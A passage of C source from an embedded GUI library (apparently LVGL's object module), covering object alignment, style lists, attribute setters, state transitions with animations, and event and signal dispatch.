* @param x_ofs x coordinate offset after alignment
* @param y_ofs y coordinate offset after alignment
*/
void lv_obj_align_mid(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, lv_coord_t x_ofs, lv_coord_t y_ofs)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(base == NULL) {
base = lv_obj_get_parent(obj);
}
LV_ASSERT_OBJ(base, LV_OBJX_NAME);
obj_align_mid_core(obj, base, align, true, true, x_ofs, y_ofs);
#if LV_USE_OBJ_REALIGN
/*Save the last align parameters to use them in `lv_obj_realign`*/
obj->realign.align = align;
obj->realign.xofs = x_ofs;
obj->realign.yofs = y_ofs;
obj->realign.base = base;
obj->realign.mid_align = 1;
#endif
}
/**
* Align an object's middle point to an other object horizontally.
* @param obj pointer to an object to align
* @param base pointer to an object (if NULL the parent is used). 'obj' will be aligned to it.
* @param align type of alignment (see 'lv_align_t' enum)
* @param x_ofs x coordinate offset after alignment
*/
void lv_obj_align_mid_x(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, lv_coord_t x_ofs)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(base == NULL) {
base = lv_obj_get_parent(obj);
}
LV_ASSERT_OBJ(base, LV_OBJX_NAME);
obj_align_mid_core(obj, base, align, true, false, x_ofs, 0);
}
/**
* Align an object's middle point to an other object vertically.
* @param obj pointer to an object to align
* @param base pointer to an object (if NULL the parent is used). 'obj' will be aligned to it.
* @param align type of alignment (see 'lv_align_t' enum)
* @param y_ofs y coordinate offset after alignment
*/
void lv_obj_align_mid_y(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, lv_coord_t y_ofs)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(base == NULL) {
base = lv_obj_get_parent(obj);
}
LV_ASSERT_OBJ(base, LV_OBJX_NAME);
obj_align_mid_core(obj, base, align, true, false, 0, y_ofs);
}
/**
* Realign the object based on the last `lv_obj_align` parameters.
* @param obj pointer to an object
*/
void lv_obj_realign(lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_OBJ_REALIGN
if(obj->realign.mid_align)
lv_obj_align_mid(obj, obj->realign.base, obj->realign.align, obj->realign.xofs, obj->realign.yofs);
else
lv_obj_align(obj, obj->realign.base, obj->realign.align, obj->realign.xofs, obj->realign.yofs);
#else
(void)obj;
LV_LOG_WARN("lv_obj_realign: no effect because LV_USE_OBJ_REALIGN = 0");
#endif
}
/**
* Enable the automatic realign of the object when its size has changed based on the last
* `lv_obj_align` parameters.
* @param obj pointer to an object
* @param en true: enable auto realign; false: disable auto realign
*/
void lv_obj_set_auto_realign(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_OBJ_REALIGN
obj->realign.auto_realign = en ? 1 : 0;
#else
(void)obj;
(void)en;
LV_LOG_WARN("lv_obj_set_auto_realign: no effect because LV_USE_OBJ_REALIGN = 0");
#endif
}
/**
* Set the size of an extended clickable area
* If TINY mode is used, only the largest of the horizontal and vertical padding
* values are considered.
* @param obj pointer to an object
* @param left extended clickable are on the left [px]
* @param right extended clickable are on the right [px]
* @param top extended clickable are on the top [px]
* @param bottom extended clickable are on the bottom [px]
*/
void lv_obj_set_ext_click_area(lv_obj_t * obj, lv_coord_t left, lv_coord_t right, lv_coord_t top, lv_coord_t bottom)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_FULL
obj->ext_click_pad.x1 = left;
obj->ext_click_pad.x2 = right;
obj->ext_click_pad.y1 = top;
obj->ext_click_pad.y2 = bottom;
#elif LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_TINY
obj->ext_click_pad_hor = LV_MATH_MAX(left, right);
obj->ext_click_pad_ver = LV_MATH_MAX(top, bottom);
#else
(void)obj; /*Unused*/
(void)left; /*Unused*/
(void)right; /*Unused*/
(void)top; /*Unused*/
(void)bottom; /*Unused*/
#endif
}
/*---------------------
* Appearance set
*--------------------*/
/**
* Add a new style to the style list of an object.
* @param obj pointer to an object
* @param part the part of the object which style property should be set.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param style pointer to a style to add (Only its pointer will be saved)
*/
void lv_obj_add_style(lv_obj_t * obj, uint8_t part, lv_style_t * style)
{
if(style == NULL) return;
lv_style_list_t * style_dsc = lv_obj_get_style_list(obj, part);
if(style_dsc == NULL) {
LV_LOG_WARN("Can't find style with part: %d", part);
return;
}
_lv_style_list_add_style(style_dsc, style);
#if LV_USE_ANIMATION
trans_del(obj, part, 0xFF, NULL);
#endif
lv_obj_refresh_style(obj, LV_STYLE_PROP_ALL);
}
/**
* Remove a style from the style list of an object.
* @param obj pointer to an object
* @param part the part of the object which style property should be set.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param style pointer to a style to remove
*/
void lv_obj_remove_style(lv_obj_t * obj, uint8_t part, lv_style_t * style)
{
if(style == NULL) return;
lv_style_list_t * style_dsc = lv_obj_get_style_list(obj, part);
if(style_dsc == NULL) {
LV_LOG_WARN("Can't find style with part: %d", part);
return;
}
_lv_style_list_remove_style(style_dsc, style);
#if LV_USE_ANIMATION
trans_del(obj, part, 0xFF, NULL);
#endif
lv_obj_refresh_style(obj, LV_STYLE_PROP_ALL);
}
/**
* Reset a style to the default (empty) state.
* Release all used memories and cancel pending related transitions.
* Typically used in `LV_SIGN_CLEAN_UP.
* @param obj pointer to an object
* @param part the part of the object which style list should be reseted.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
*/
void lv_obj_clean_style_list(lv_obj_t * obj, uint8_t part)
{
lv_style_list_t * style_dsc = lv_obj_get_style_list(obj, part);
if(style_dsc == NULL) {
LV_LOG_WARN("lv_obj_clean_style_list: can't find style with `part`");
return;
}
_lv_style_list_reset(style_dsc);
#if LV_USE_ANIMATION
trans_del(obj, part, 0xFF, NULL);
#endif
}
/**
* Reset a style to the default (empty) state.
* Release all used memories and cancel pending related transitions.
* Also notifies the object about the style change.
* @param obj pointer to an object
* @param part the part of the object which style list should be reseted.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
*/
void lv_obj_reset_style_list(lv_obj_t * obj, uint8_t part)
{
lv_obj_clean_style_list(obj, part);
lv_obj_refresh_style(obj, LV_STYLE_PROP_ALL);
}
/**
* Set a local style property of a part of an object in a given state.
* @param obj pointer to an object
* @param part the part of the object which style property should be set.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop a style property ORed with a state.
* E.g. `LV_STYLE_BORDER_WIDTH | (LV_STATE_PRESSED << LV_STYLE_STATE_POS)`
* @param the value to set
* @note shouldn't be used directly. Use the specific property get functions instead.
* For example: `lv_obj_style_get_border_opa()`
* @note for performance reasons it's not checked if the property really has integer type
*/
void _lv_obj_set_style_local_int(lv_obj_t * obj, uint8_t part, lv_style_property_t prop, lv_style_int_t value)
{
lv_style_list_t * style_dsc = lv_obj_get_style_list(obj, part);
_lv_style_list_set_local_int(style_dsc, prop, value);
#if LV_USE_ANIMATION
trans_del(obj, part, prop, NULL);
#endif
lv_obj_refresh_style(obj, prop & (~LV_STYLE_STATE_MASK));
}
/**
* Set a local style property of a part of an object in a given state.
* @param obj pointer to an object
* @param part the part of the object which style property should be set.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop a style property ORed with a state.
* E.g. `LV_STYLE_BORDER_COLOR | (LV_STATE_PRESSED << LV_STYLE_STATE_POS)`
* @param the value to set
* @note shouldn't be used directly. Use the specific property get functions instead.
* For example: `lv_obj_style_get_border_opa()`
* @note for performance reasons it's not checked if the property really has color type
*/
void _lv_obj_set_style_local_color(lv_obj_t * obj, uint8_t part, lv_style_property_t prop, lv_color_t color)
{
lv_style_list_t * style_dsc = lv_obj_get_style_list(obj, part);
_lv_style_list_set_local_color(style_dsc, prop, color);
#if LV_USE_ANIMATION
trans_del(obj, part, prop, NULL);
#endif
lv_obj_refresh_style(obj, prop & (~LV_STYLE_STATE_MASK));
}
/**
* Set a local style property of a part of an object in a given state.
* @param obj pointer to an object
* @param part the part of the object which style property should be set.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop a style property ORed with a state.
* E.g. `LV_STYLE_BORDER_OPA | (LV_STATE_PRESSED << LV_STYLE_STATE_POS)`
* @param the value to set
* @note shouldn't be used directly. Use the specific property get functions instead.
* For example: `lv_obj_style_get_border_opa()`
* @note for performance reasons it's not checked if the property really has opacity type
*/
void _lv_obj_set_style_local_opa(lv_obj_t * obj, uint8_t part, lv_style_property_t prop, lv_opa_t opa)
{
lv_style_list_t * style_dsc = lv_obj_get_style_list(obj, part);
_lv_style_list_set_local_opa(style_dsc, prop, opa);
#if LV_USE_ANIMATION
trans_del(obj, part, prop, NULL);
#endif
lv_obj_refresh_style(obj, prop & (~LV_STYLE_STATE_MASK));
}
/**
* Set a local style property of a part of an object in a given state.
* @param obj pointer to an object
* @param part the part of the object which style property should be set.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop a style property ORed with a state.
* E.g. `LV_STYLE_TEXT_FONT | (LV_STATE_PRESSED << LV_STYLE_STATE_POS)`
* @param value the value to set
* @note shouldn't be used directly. Use the specific property get functions instead.
* For example: `lv_obj_style_get_border_opa()`
* @note for performance reasons it's not checked if the property really has pointer type
*/
void _lv_obj_set_style_local_ptr(lv_obj_t * obj, uint8_t part, lv_style_property_t prop, const void * value)
{
lv_style_list_t * style_dsc = lv_obj_get_style_list(obj, part);
_lv_style_list_set_local_ptr(style_dsc, prop, value);
#if LV_USE_ANIMATION
trans_del(obj, part, prop, NULL);
#endif
lv_obj_refresh_style(obj, prop & (~LV_STYLE_STATE_MASK));
}
/**
* Remove a local style property from a part of an object with a given state.
* @param obj pointer to an object
* @param part the part of the object which style property should be removed.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop a style property ORed with a state.
* E.g. `LV_STYLE_TEXT_FONT | (LV_STATE_PRESSED << LV_STYLE_STATE_POS)`
* @note shouldn't be used directly. Use the specific property remove functions instead.
* For example: `lv_obj_style_remove_border_opa()`
* @return true: the property was found and removed; false: the property was not found
*/
bool lv_obj_remove_style_local_prop(lv_obj_t * obj, uint8_t part, lv_style_property_t prop)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_style_t * style = lv_obj_get_local_style(obj, part);
if(style) return lv_style_remove_prop(style, prop);
else return false;
}
/**
* Notify an object (and its children) about its style is modified
* @param obj pointer to an object
* @param prop `LV_STYLE_PROP_ALL` or an `LV_STYLE_...` property. It is used to optimize what needs to be refreshed.
*/
void lv_obj_refresh_style(lv_obj_t * obj, lv_style_property_t prop)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
/*If a real style refresh is required*/
bool real_refr = false;
switch(prop) {
case LV_STYLE_PROP_ALL:
case LV_STYLE_CLIP_CORNER:
case LV_STYLE_SIZE:
case LV_STYLE_TRANSFORM_WIDTH:
case LV_STYLE_TRANSFORM_HEIGHT:
case LV_STYLE_TRANSFORM_ANGLE:
case LV_STYLE_TRANSFORM_ZOOM:
case LV_STYLE_PAD_TOP:
case LV_STYLE_PAD_BOTTOM:
case LV_STYLE_PAD_LEFT:
case LV_STYLE_PAD_RIGHT:
case LV_STYLE_PAD_INNER:
case LV_STYLE_MARGIN_TOP:
case LV_STYLE_MARGIN_BOTTOM:
case LV_STYLE_MARGIN_LEFT:
case LV_STYLE_MARGIN_RIGHT:
case LV_STYLE_OUTLINE_WIDTH:
case LV_STYLE_OUTLINE_PAD:
case LV_STYLE_OUTLINE_OPA:
case LV_STYLE_SHADOW_WIDTH:
case LV_STYLE_SHADOW_OPA:
case LV_STYLE_SHADOW_OFS_X:
case LV_STYLE_SHADOW_OFS_Y:
case LV_STYLE_SHADOW_SPREAD:
case LV_STYLE_VALUE_LETTER_SPACE:
case LV_STYLE_VALUE_LINE_SPACE:
case LV_STYLE_VALUE_OFS_X:
case LV_STYLE_VALUE_OFS_Y:
case LV_STYLE_VALUE_ALIGN:
case LV_STYLE_VALUE_STR:
case LV_STYLE_VALUE_FONT:
case LV_STYLE_VALUE_OPA:
case LV_STYLE_TEXT_LETTER_SPACE:
case LV_STYLE_TEXT_LINE_SPACE:
case LV_STYLE_TEXT_FONT:
case LV_STYLE_LINE_WIDTH:
real_refr = true;
break;
default:
real_refr = false;
}
if(real_refr) {
lv_obj_invalidate(obj);
obj->signal_cb(obj, LV_SIGNAL_STYLE_CHG, NULL);
switch(prop) {
case LV_STYLE_PROP_ALL:
case LV_STYLE_MARGIN_TOP:
case LV_STYLE_MARGIN_BOTTOM:
case LV_STYLE_MARGIN_LEFT:
case LV_STYLE_MARGIN_RIGHT:
if(obj->parent) obj->parent->signal_cb(obj->parent, LV_SIGNAL_CHILD_CHG, NULL);
break;
}
lv_obj_invalidate(obj);
/*Send style change signals*/
if(prop == LV_STYLE_PROP_ALL || (prop & LV_STYLE_INHERIT_MASK)) refresh_children_style(obj);
}
else {
lv_obj_invalidate(obj);
}
}
/**
* Notify all object if a style is modified
* @param style pointer to a style. Only the objects with this style will be notified
* (NULL to notify all objects)
*/
void lv_obj_report_style_mod(lv_style_t * style)
{
lv_disp_t * d = lv_disp_get_next(NULL);
while(d) {
lv_obj_t * i;
_LV_LL_READ(d->scr_ll, i) {
report_style_mod_core(style, i);
}
d = lv_disp_get_next(d);
}
}
/*-----------------
* Attribute set
*----------------*/
/**
* Hide an object. It won't be visible and clickable.
* @param obj pointer to an object
* @param en true: hide the object
*/
void lv_obj_set_hidden(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(!obj->hidden) lv_obj_invalidate(obj); /*Invalidate when not hidden (hidden objects are ignored) */
obj->hidden = en == false ? 0 : 1;
if(!obj->hidden) lv_obj_invalidate(obj); /*Invalidate when not hidden (hidden objects are ignored) */
lv_obj_t * par = lv_obj_get_parent(obj);
if(par) par->signal_cb(par, LV_SIGNAL_CHILD_CHG, obj);
}
/**
* Set whether advanced hit-testing is enabled on an object
* @param obj pointer to an object
* @param en true: advanced hit-testing is enabled
*/
void lv_obj_set_adv_hittest(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->adv_hittest = en == false ? 0 : 1;
}
/**
* Enable or disable the clicking of an object
* @param obj pointer to an object
* @param en true: make the object clickable
*/
void lv_obj_set_click(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->click = (en == true ? 1 : 0);
}
/**
* Enable to bring this object to the foreground if it
* or any of its children is clicked
* @param obj pointer to an object
* @param en true: enable the auto top feature
*/
void lv_obj_set_top(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->top = (en == true ? 1 : 0);
}
/**
* Enable the dragging of an object
* @param obj pointer to an object
* @param en true: make the object draggable
*/
void lv_obj_set_drag(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(en == true) lv_obj_set_click(obj, true); /*Drag is useless without enabled clicking*/
obj->drag = (en == true ? 1 : 0);
}
/**
* Set the directions an object can be dragged in
* @param obj pointer to an object
* @param drag_dir bitwise OR of allowed directions an object can be dragged in
*/
void lv_obj_set_drag_dir(lv_obj_t * obj, lv_drag_dir_t drag_dir)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->drag_dir = drag_dir;
if(obj->drag_dir != 0) lv_obj_set_drag(obj, true); /*Drag direction requires drag*/
}
/**
* Enable the throwing of an object after is is dragged
* @param obj pointer to an object
* @param en true: enable the drag throw
*/
void lv_obj_set_drag_throw(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->drag_throw = (en == true ? 1 : 0);
}
/**
* Enable to use parent for drag related operations.
* If trying to drag the object the parent will be moved instead
* @param obj pointer to an object
* @param en true: enable the 'drag parent' for the object
*/
void lv_obj_set_drag_parent(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->drag_parent = (en == true ? 1 : 0);
}
/**
* Enable to use parent for gesture related operations.
* If trying to gesture the object the parent will be moved instead
* @param obj pointer to an object
* @param en true: enable the 'gesture parent' for the object
*/
void lv_obj_set_gesture_parent(lv_obj_t * obj, bool en)
{
obj->gesture_parent = (en == true ? 1 : 0);
}
/**
* Enable to use parent for focus state.
* When object is focused the parent will get the state instead (visual only)
* @param obj pointer to an object
* @param en true: enable the 'focus parent' for the object
*/
void lv_obj_set_focus_parent(lv_obj_t * obj, bool en)
{
if(lv_obj_is_focused(obj)) {
if(en) {
obj->focus_parent = 1;
lv_obj_clear_state(obj, LV_STATE_FOCUSED | LV_STATE_EDITED);
lv_obj_set_state(lv_obj_get_focused_obj(obj), LV_STATE_FOCUSED);
}
else {
lv_obj_clear_state(lv_obj_get_focused_obj(obj), LV_STATE_FOCUSED | LV_STATE_EDITED);
lv_obj_set_state(obj, LV_STATE_FOCUSED);
obj->focus_parent = 0;
}
}
else {
obj->focus_parent = (en == true ? 1 : 0);
}
}
/**
* Propagate the events to the parent too
* @param obj pointer to an object
* @param en true: enable the event propagation
*/
void lv_obj_set_parent_event(lv_obj_t * obj, bool en)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->parent_event = (en == true ? 1 : 0);
}
/**
* Set the base direction of the object
* @param obj pointer to an object
* @param dir the new base direction. `LV_BIDI_DIR_LTR/RTL/AUTO/INHERIT`
*/
void lv_obj_set_base_dir(lv_obj_t * obj, lv_bidi_dir_t dir)
{
if(dir != LV_BIDI_DIR_LTR && dir != LV_BIDI_DIR_RTL &&
dir != LV_BIDI_DIR_AUTO && dir != LV_BIDI_DIR_INHERIT) {
LV_LOG_WARN("lv_obj_set_base_dir: invalid base dir");
return;
}
obj->base_dir = dir;
lv_signal_send(obj, LV_SIGNAL_BASE_DIR_CHG, NULL);
/* Notify the children about the parent base dir has changed.
* (The children might have `LV_BIDI_DIR_INHERIT`)*/
base_dir_refr_children(obj);
}
/**
* Set a bit or bits in the protect filed
* @param obj pointer to an object
* @param prot 'OR'-ed values from `lv_protect_t`
*/
void lv_obj_add_protect(lv_obj_t * obj, uint8_t prot)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->protect |= prot;
}
/**
* Clear a bit or bits in the protect filed
* @param obj pointer to an object
* @param prot 'OR'-ed values from `lv_protect_t`
*/
void lv_obj_clear_protect(lv_obj_t * obj, uint8_t prot)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
prot = (~prot) & 0xFF;
obj->protect &= prot;
}
/**
* Set the state (fully overwrite) of an object.
* If specified in the styles a transition animation will be started
* from the previous state to the current
* @param obj pointer to an object
* @param state the new state
*/
void lv_obj_set_state(lv_obj_t * obj, lv_state_t new_state)
{
if(obj->state == new_state) return;
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_ANIMATION == 0
obj->state = new_state;
lv_obj_refresh_style(obj, LV_STYLE_PROP_ALL);
#else
lv_state_t prev_state = obj->state;
obj->state = new_state;
uint8_t part;
for(part = 0; part < _LV_OBJ_PART_REAL_LAST; part++) {
lv_style_list_t * style_list = lv_obj_get_style_list(obj, part);
if(style_list == NULL) break; /*No more style lists*/
if(style_list->ignore_trans) continue;
lv_style_int_t time = lv_obj_get_style_transition_time(obj, part);
lv_style_property_t props[LV_STYLE_TRANS_NUM_MAX];
lv_style_int_t delay = lv_obj_get_style_transition_delay(obj, part);
lv_anim_path_t * path = lv_obj_get_style_transition_path(obj, part);
props[0] = lv_obj_get_style_transition_prop_1(obj, part);
props[1] = lv_obj_get_style_transition_prop_2(obj, part);
props[2] = lv_obj_get_style_transition_prop_3(obj, part);
props[3] = lv_obj_get_style_transition_prop_4(obj, part);
props[4] = lv_obj_get_style_transition_prop_5(obj, part);
props[5] = lv_obj_get_style_transition_prop_6(obj, part);
uint8_t i;
for(i = 0; i < LV_STYLE_TRANS_NUM_MAX; i++) {
if(props[i] != 0) {
_lv_style_list_add_trans_style(style_list);
lv_style_trans_t * tr = trans_create(obj, props[i], part, prev_state, new_state);
/*If there is a pending anim for this property remove it*/
if(tr) {
tr->obj = obj;
tr->prop = props[i];
tr->part = part;
lv_anim_t a;
lv_anim_init(&a);
lv_anim_set_var(&a, tr);
lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)trans_anim_cb);
lv_anim_set_start_cb(&a, trans_anim_start_cb);
lv_anim_set_ready_cb(&a, trans_anim_ready_cb);
lv_anim_set_values(&a, 0x00, 0xFF);
lv_anim_set_time(&a, time);
lv_anim_set_delay(&a, delay);
lv_anim_set_path(&a, path);
a.early_apply = 0;
lv_anim_start(&a);
}
}
}
}
#endif
lv_obj_refresh_style(obj, LV_STYLE_PROP_ALL);
}
/**
* Add a given state or states to the object. The other state bits will remain unchanged.
* If specified in the styles a transition animation will be started
* from the previous state to the current
* @param obj pointer to an object
* @param state the state bits to add. E.g `LV_STATE_PRESSED | LV_STATE_FOCUSED`
*/
void lv_obj_add_state(lv_obj_t * obj, lv_state_t state)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_state_t new_state = obj->state | state;
if(obj->state != new_state) {
lv_obj_set_state(obj, new_state);
}
}
/**
* Remove a given state or states to the object. The other state bits will remain unchanged.
* If specified in the styles a transition animation will be started
* from the previous state to the current
* @param obj pointer to an object
* @param state the state bits to remove. E.g `LV_STATE_PRESSED | LV_STATE_FOCUSED`
*/
void lv_obj_clear_state(lv_obj_t * obj, lv_state_t state)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_state_t new_state = obj->state & (~state);
if(obj->state != new_state) {
lv_obj_set_state(obj, new_state);
}
}
#if LV_USE_ANIMATION
/**
* Finish all pending transitions on a part of an object
* @param obj pointer to an object
* @param part part of the object, e.g `LV_BRN_PART_MAIN` or `LV_OBJ_PART_ALL` for all parts
*/
void lv_obj_finish_transitions(lv_obj_t * obj, uint8_t part)
{
/*Animate all related transition to the end value*/
lv_style_trans_t * tr;
_LV_LL_READ_BACK(LV_GC_ROOT(_lv_obj_style_trans_ll), tr) {
if(tr->obj == obj && (part == tr->part || part == LV_OBJ_PART_ALL)) {
trans_anim_cb(tr, 255);
}
}
/*Free all related transition data*/
trans_del(obj, part, 0xFF, NULL);
}
#endif
/**
* Set a an event handler function for an object.
* Used by the user to react on event which happens with the object.
* @param obj pointer to an object
* @param event_cb the new event function
*/
void lv_obj_set_event_cb(lv_obj_t * obj, lv_event_cb_t event_cb)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->event_cb = event_cb;
}
/**
* Send an event to the object
* @param obj pointer to an object
* @param event the type of the event from `lv_event_t`
* @param data arbitrary data depending on the object type and the event. (Usually `NULL`)
* @return LV_RES_OK: `obj` was not deleted in the event; LV_RES_INV: `obj` was deleted in the event
*/
lv_res_t lv_event_send(lv_obj_t * obj, lv_event_t event, const void * data)
{
if(obj == NULL) return LV_RES_OK;
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_res_t res;
res = lv_event_send_func(obj->event_cb, obj, event, data);
return res;
}
/**
* Send LV_EVENT_REFRESH event to an object
* @param obj point to an obejct. (Can NOT be NULL)
* @return LV_RES_OK: success, LV_RES_INV: to object become invalid (e.g. deleted) due to this event.
*/
lv_res_t lv_event_send_refresh(lv_obj_t * obj)
{
return lv_event_send(obj, LV_EVENT_REFRESH, NULL);
}
/**
* Send LV_EVENT_REFRESH event to an object and all of its children.
* @param obj pointer to an object or NULL to refresh all objects of all displays
*/
void lv_event_send_refresh_recursive(lv_obj_t * obj)
{
if(obj == NULL) {
/*If no obj specified refresh all screen of all displays */
lv_disp_t * d = lv_disp_get_next(NULL);
while(d) {
lv_obj_t * scr = _lv_ll_get_head(&d->scr_ll);
while(scr) {
lv_event_send_refresh_recursive(scr);
scr = _lv_ll_get_next(&d->scr_ll, scr);
}
lv_event_send_refresh_recursive(d->top_layer);
lv_event_send_refresh_recursive(d->sys_layer);
d = lv_disp_get_next(d);
}
}
else {
lv_res_t res = lv_event_send_refresh(obj);
if(res != LV_RES_OK) return; /*If invalid returned do not check the children*/
lv_obj_t * child = lv_obj_get_child(obj, NULL);
while(child) {
lv_event_send_refresh_recursive(child);
child = lv_obj_get_child(obj, child);
}
}
}
/**
* Call an event function with an object, event, and data.
* @param event_xcb an event callback function. If `NULL` `LV_RES_OK` will return without any actions.
* (the 'x' in the argument name indicates that its not a fully generic function because it not follows
* the `func_name(object, callback, ...)` convention)
* @param obj pointer to an object to associate with the event (can be `NULL` to simply call the `event_cb`)
* @param event an event
* @param data pointer to a custom data
* @return LV_RES_OK: `obj` was not deleted in the event; LV_RES_INV: `obj` was deleted in the event
*/
lv_res_t lv_event_send_func(lv_event_cb_t event_xcb, lv_obj_t * obj, lv_event_t event, const void * data)
{
if(obj != NULL) {
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
}
/* Build a simple linked list from the objects used in the events
* It's important to know if an this object was deleted by a nested event
* called from this `even_cb`. */
lv_event_temp_data_t event_temp_data;
event_temp_data.obj = obj;
event_temp_data.deleted = false;
event_temp_data.prev = NULL;
if(event_temp_data_head) {
event_temp_data.prev = event_temp_data_head;
}
event_temp_data_head = &event_temp_data;
const void * event_act_data_save = event_act_data;
event_act_data = data;
/*Call the input device's feedback callback if set*/
lv_indev_t * indev_act = lv_indev_get_act();
if(indev_act) {
if(indev_act->driver.feedback_cb) indev_act->driver.feedback_cb(&indev_act->driver, event);
}
/*Call the event callback itself*/
if(event_xcb) event_xcb(obj, event);
/*Restore the event data*/
event_act_data = event_act_data_save;
/*Remove this element from the list*/
event_temp_data_head = event_temp_data_head->prev;
if(event_temp_data.deleted) {
return LV_RES_INV;
}
if(obj) {
if(obj->parent_event && obj->parent) {
lv_res_t res = lv_event_send(obj->parent, event, data);
if(res != LV_RES_OK) {
return LV_RES_INV;
}
}
}
return LV_RES_OK;
}
/**
* Get the `data` parameter of the current event
* @return the `data` parameter
*/
const void * lv_event_get_data(void)
{
return event_act_data;
}
/**
* Set the a signal function of an object. Used internally by the library.
* Always call the previous signal function in the new.
* @param obj pointer to an object
* @param cb the new signal function
*/
void lv_obj_set_signal_cb(lv_obj_t * obj, lv_signal_cb_t signal_cb)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->signal_cb = signal_cb;
}
/**
* Send an event to the object
* @param obj pointer to an object
* @param event the type of the event from `lv_event_t`.
* @return LV_RES_OK or LV_RES_INV
*/
lv_res_t lv_signal_send(lv_obj_t * obj, lv_signal_t signal, void * param)
{
if(obj == NULL) return LV_RES_OK;
lv_res_t res = LV_RES_OK;
if(obj->signal_cb) res = obj->signal_cb(obj, signal, param);
return res;
}
/**
* Set a new design function for an object
* @param obj pointer to an object
* @param design_cb the new design function
*/
void lv_obj_set_design_cb(lv_obj_t * obj, lv_design_cb_t design_cb)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->design_cb = design_cb;
}
/*----------------
* Other set
*--------------*/
/**
* Allocate a new ext. data for an object
* @param obj pointer to an object
* @param ext_size the size of the new ext. data
* @return pointer to the allocated ext.
* If out of memory NULL is returned and the original ext is preserved
*/
void * lv_obj_allocate_ext_attr(lv_obj_t * obj, uint16_t ext_size)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
void * new_ext = lv_mem_realloc(obj->ext_attr, ext_size);
if(new_ext == NULL) return NULL;
obj->ext_attr = new_ext;
return (void *)obj->ext_attr;
}
/**
* Send a 'LV_SIGNAL_REFR_EXT_SIZE' signal to the object to refresh the extended draw area.
* he object needs to be invalidated by `lv_obj_invalidate(obj)` manually after this function.
* @param obj pointer to an object
*/
void lv_obj_refresh_ext_draw_pad(lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
obj->ext_draw_pad = 0;
obj->signal_cb(obj, LV_SIGNAL_REFR_EXT_DRAW_PAD, NULL);
}
/*=======================
* Getter functions
*======================*/
/**
* Return with the screen of an object
* @param obj pointer to an object
* @return pointer to a screen
*/
lv_obj_t * lv_obj_get_screen(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
const lv_obj_t * par = obj;
const lv_obj_t * act_p;
do {
act_p = par;
par = lv_obj_get_parent(act_p);
} while(par != NULL);
return (lv_obj_t *)act_p;
}
/**
* Get the display of an object
* @param scr pointer to an object
* @return pointer the object's display
*/
lv_disp_t * lv_obj_get_disp(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
const lv_obj_t * scr;
if(obj->parent == NULL)
scr = obj; /*`obj` is a screen*/
else
scr = lv_obj_get_screen(obj); /*get the screen of `obj`*/
lv_disp_t * d;
_LV_LL_READ(LV_GC_ROOT(_lv_disp_ll), d) {
lv_obj_t * s;
_LV_LL_READ(d->scr_ll, s) {
if(s == scr) return d;
}
}
LV_LOG_WARN("lv_scr_get_disp: screen not found")
return NULL;
}
/*---------------------
* Parent/children get
*--------------------*/
/**
* Returns with the parent of an object
* @param obj pointer to an object
